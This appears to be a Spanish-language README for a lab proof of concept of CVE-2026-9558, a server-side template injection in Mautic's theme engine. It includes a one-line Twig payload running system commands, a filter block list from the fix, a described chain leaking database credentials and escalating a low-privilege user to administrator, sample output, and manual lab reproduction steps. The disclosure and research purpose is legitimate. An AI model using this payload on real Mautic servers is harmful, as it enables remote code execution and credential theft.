covepseng/cve-2026-9558-pocPoC de explotabilidad para CVE-2026-9558 (SSTI Mautic Theme)
CVE-2026-9558 es una vulnerabilidad de Inyección de Plantillas del Lado del Servidor (SSTI) en el motor de temas de Mautic. Los temas subidos a través del Administrador de Temas son archivos ZIP que contienen plantillas Twig, y en las versiones afectadas, esas plantillas son renderizadas por el entorno Twig predeterminado de la aplicación sin ninguna política de SandboxExtension adjunta.
Debido a que Twig puede invocar funciones PHP arbitrarias a través de filtros como map, filter y reduce, un usuario autenticado con permisos de carga de temas puede instalar un tema cuya plantilla ejecuta un comando arbitrario del sistema tan pronto como se renderiza — lo que ocurre automáticamente la primera vez que un usuario abre el constructor de correos electrónicos o páginas de aterrizaje con ese tema.
{{ ["id"] | map("system") | join }}
| Rango afectado | Corregido en |
|---|---|
| >= 1.3.0, < 4.4.13 | 4.4.13 (4.4.20 mediante ELTS) |
| >= 5.0.0, < 5.2.11 | 5.2.11 |
| >= 6.0.0, < 6.0.9 | 6.0.9 |
| >= 7.0.0, < 7.1.2 | 7.1.2 |
Este laboratorio apunta a 7.1.1, la última versión antes de la corrección.
La documentación del desarrollador de Mautic afirma que las plantillas de temas se renderizan en un sandbox restringido de Twig:
Mautic renderiza las plantillas de Temas subidas por el usuario en un entorno sandbox restringido de Twig. El sandbox bloquea ciertas funciones y filtros que podrían permitir la ejecución remota de código, la fuga de datos o la exploración del sistema de archivos.
En las versiones afectadas, esa política de sandbox no existe. La corrección (7.1.2) introduce
ThemeSandboxPolicy.php,
una implementación de SecurityPolicyInterface basada en listas negras que bloquea los filtros map, filter y reduce, y un conjunto de funciones que incluyen source() (lectura arbitraria de archivos) y configGetParameter() (filtra credenciales de base de datos y la clave secreta de la aplicación). El comentario en línea de la propia corrección documenta la forma exacta del payload utilizado en esta PoC:
private const DENIED_FILTERS = [
'map', // {{ ['id']|map('system')|join }} -> RCE
'reduce',
'filter',
];
Antes de esta política, no existía tal restricción en ninguna ruta de renderizado de temas.
La cadena fue validada de extremo a extremo contra una cuenta con pocos privilegios que solo tenía los grupos de permisos Temas (crear/editar) y Correos electrónicos (crear/editar) — no Administrador — para coincidir con la condición previa PR:L en el vector CVSS del aviso.
system() incrustadas en el archivo .twig del tema.config/local.php de Mautic, exponiendo las credenciales de la base de datos y la secret_key de la aplicación en texto plano.PDO directa desde dentro del payload SSTI y promover la cuenta con pocos privilegios a role_id 1 (Administrador), evitando por completo las comprobaciones de permisos a nivel de aplicación de Mautic.uid=33(www-data) gid=33(www-data) groups=33(www-data)
'db_host' => 'mautic-db',
'db_user' => 'mautic',
'db_password' => 'mauticpass',
'secret_key' => 'a15d98da823d751f4a0a5219123f4afbd90eb254074b1cea07518a3c0db70bcd',
rows_updated=1
confirm: 2|priv-esc|1
El aviso indica PR:L. Este laboratorio confirma la condición previa específica de pocos privilegios en la práctica: alcanzar el disparador de renderizado requiere tanto permisos de carga de temas como permisos de creación de correos electrónicos — no un único permiso bajo genérico. Ninguna solución alternativa más allá de la corrección oficial restringe esto; la única mitigación documentada es limitar core:themes:create a administradores de confianza.
cve-2026-9558-poc/
├── podman-compose.yml # MariaDB + Mautic 7.1.1-apache, red puente aislada
├── Dockerfile.mautic # fija la imagen oficial a la versión vulnerable
├── install.sh # arranque no interactivo de mautic:install
└── sparse/
├── config.json # manifiesto del tema malicioso
├── sparse.zip # tema listo para ser subido
└── html/
├── email.html.twig # plantilla de payload SSTI. Mira al final del archivo donde está el marcador de posición para inyectar comandos arbitrarios.
├── ... # Otros archivos .twig
└── .../ # Otros directorios (por ejemplo css)
| Herramienta | Versión | Notas |
|---|---|---|
| Podman | ≥ 4.0 | requiere podman-compose |
| curl | cualquiera | usado por install.sh para verificar disponibilidad |
La explotación en esta PoC se realiza manualmente a través de la interfaz web de Mautic (carga del Administrador de Temas → constructor de correos electrónicos), coincidiendo con el flujo de trabajo real del atacante: la carga de temas es una operación de archivo, no una llamada API que valga la pena automatizar para esta etapa del análisis.
podman-compose up -d
./install.sh
install.sh espera a que el contenedor de la aplicación acepte conexiones, luego ejecuta mautic:install de forma no interactiva para iniciar la primera cuenta de Administrador.
Desde la interfaz de usuario, crea un rol personalizado con solo Temas (crear/editar) y Correos electrónicos (crear/editar) habilitados, y un usuario asignado a ese rol. Esto reproduce la condición previa PR:L en lugar de probar como Administrador.
Inicia sesión como el usuario con pocos privilegios. Desde Temas → Cargar, sube un ZIP creado a partir de sparse/config.json y sparse/html/page.html.twig (o una copia modificada de cualquier tema incorporado con la línea de payload añadida a su archivo .twig).
Desde Canales → Correos electrónicos → Nuevo, selecciona el tema subido como plantilla y abre el constructor. El payload se ejecuta tan pronto como el tema se renderiza para la vista previa.
podman-compose down -v
uid=33(www-data) gid=33(www-data) groups=33(www-data)